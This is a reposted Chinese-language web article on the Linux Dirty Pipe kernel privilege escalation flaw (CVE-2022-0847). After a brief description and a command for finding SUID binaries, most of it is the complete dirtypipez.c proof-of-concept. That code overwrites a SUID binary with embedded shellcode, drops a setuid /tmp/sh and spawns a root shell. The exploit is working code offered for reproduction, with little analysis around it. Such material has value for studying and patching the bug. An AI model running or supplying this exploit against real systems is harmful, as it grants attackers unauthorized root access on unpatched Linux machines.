Linux DirtyPipe权限提升漏洞 CVE-2022-0847

这篇具有很好参考价值的文章主要介绍了Linux DirtyPipe权限提升漏洞 CVE-2022-0847。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Linux DirtyPipe权限提升漏洞 CVE-2022-0847

漏洞描述

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”

漏洞影响

Linux内核 5.8 及之后版本

漏洞复现

查找具有suid权限的可执行文件

find / -user root -perm /4000 2>/dev/null

编译POC文件后,指定修改的Suid可执行文件,获取root权限

Linux DirtyPipe权限提升漏洞 CVE-2022-0847,linux,安全,web安全文章来源地址https://www.toymoban.com/news/detail-701789.html

漏洞POC

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

到了这里,关于Linux DirtyPipe权限提升漏洞 CVE-2022-0847的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Linux Polkit pkexec权限提升漏洞(CVE-2021-4034) centos系统polkit漏洞修复

    一、查看不受影响版本 CentOS: CentOS 6:polkit-0.96-11.el6_10.2 CentOS 7:polkit-0.112-26.el7_9.1 CentOS 8.0:polkit-0.115-13.el8_5.1 CentOS 8.2:polkit-0.115-11.el8_2.2 CentOS 8.4:polkit-0.115-11.el8_4.2 Ubuntu: Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1 Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1 Ubuntu 18.04

    2024年02月14日
    浏览(33)
  • 漏洞修复--OpenSSH权限提升漏洞(CVE-2021-41617)

    官方已发布安全版本修复漏洞,腾讯安全专家建议受影响的用户请尽快更新至安全版本。 安全版本:OpenSSH 8.8 用户可根据所使用的发行版本,升级修复。 查看OpenSSH版本:rpm -qa | grep openssh 升级OpenSSL版本:yum -y install openssh centos7 用户,建议升级到如下版本:openssh-7.4p1-22.el7

    2024年02月15日
    浏览(39)
  • Apache Shiro权限绕过漏洞(CVE-2022-32532)

      Shiro是Apache旗下一个开源的Java安全框架,它具有身份验证、访问控制、数据加密、会话管理等功能,可以用于保护任何应用程序的安全,如移动应用程序、web应用程序等。   2022年6月29日,Apache官方披露Apache Shiro权限绕过漏洞(CVE-2022-32532),当 Apache Shiro 中使用 RegexReques

    2024年02月04日
    浏览(36)
  • CVE-2021-1675 Windows Print Spooler权限提升漏洞复现

    Microsoft Windows Print Spooler 服务未能限制对RpcAddPrinterDriverEx()函数的访问,该函数可能允许远程身份验证的攻击者以系统权限在易受攻击的系统上执行任意代码。该RpcAddPrinterDriverEx()函数用于在系统上安装打印机驱动程序。此函数的参数之一是DRIVER_CONTAINER对象,它包含有关添加的

    2024年02月06日
    浏览(42)
  • 【vulhub系列】CVE-2021-4034 Polkit `pkexec` 权限提升漏洞

    新人笔者日常求关注,新人上路,大佬多多指点。谢谢。 文章目录 漏洞简介 环境搭建 漏洞复现 Polkit(之前名为PolicyKit)是一个权限相关的套件,pkexec是其中用于以其他用户身份执行命令的工具,它具有suid权限。 当前版本的pkexec中没有正确处理参数和环境变量,导致攻击者

    2024年02月13日
    浏览(37)
  • CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

    漏洞简介 Windows错误报告服务在提交错误报告前会创建 wermgr.exe 进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以 system 权限执行代码。 影响版本 危害等级 7.8 ∣ H I G H textcolor{Red}{7.8 | HIGH} 7.8∣ H I G H 漏洞复现 首先在C盘下创建一个目录testsystem32,然后将

    2024年02月11日
    浏览(33)
  • 【漏洞修复】 CVE Linux 系统应用漏洞修复笔记

    此文章主要记录工作中遇到的漏洞以及修复过程。 名称 SSL/TLS协议信息泄露漏洞(CVE-2016-2183)【原理扫描】【可验证】 详细描述 TLS是安全传输层协议,用于在两个通信应用程序之间提供保密性和数据完整性。TLS, SSH, IPSec协商及其他产品中使用的IDEA、DES及Triple DES密码或者3DES及

    2024年02月07日
    浏览(40)
  • linux CVE-2019-13272 本地特权漏洞

    在5.1.17之前的Linux内核中,kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve(可能允许攻击者控制)。 一个影响因素是对象寿命问题(也可能导致

    2024年02月08日
    浏览(35)
  • Linux权限提升

    linux提权寻找exp: https://www.exploit-db.com/ http://ww1.1337day.com/ http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com 用户信息相关命令: id ; whoami ; who ; w ; last ; cat /etc/passwd ;

    2024年02月07日
    浏览(36)
  • Linux提权—脏牛漏洞(CVE-2016-5195)复现

    脏牛漏洞:         脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。 漏洞范围:        【影响版本】:该漏洞在全版本Linux系统(Linux kernel = 2.6.22)均可

    2024年02月15日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包